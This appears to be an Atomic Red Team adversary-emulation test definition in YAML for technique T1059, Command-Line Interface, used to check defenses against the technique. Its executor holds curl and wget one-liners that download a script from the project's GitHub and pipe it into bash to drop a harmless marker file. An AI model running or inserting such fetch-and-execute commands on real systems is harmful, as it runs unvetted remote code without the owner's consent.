Files
atomic-red-team/atomics/T1059/T1059.yaml
T
Michael Haag c5d664d5f0 Linux Execution and Exfiltration
DONE for YAM
2018-05-25 14:08:12 -04:00

23 lines
743 B
YAML

---
attack_technique: T1059
display_name: Command-Line Interface
atomic_tests:
- name: Command-Line Interface
description: |
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
This will download the specified payload and set a marker file in `/tmp/art-fish.txt`.
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
command: |
bash -c "curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059/echo-art-fish.sh | bash"
bash -c "wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Atomics/T1059/echo-art-fish.sh | bash"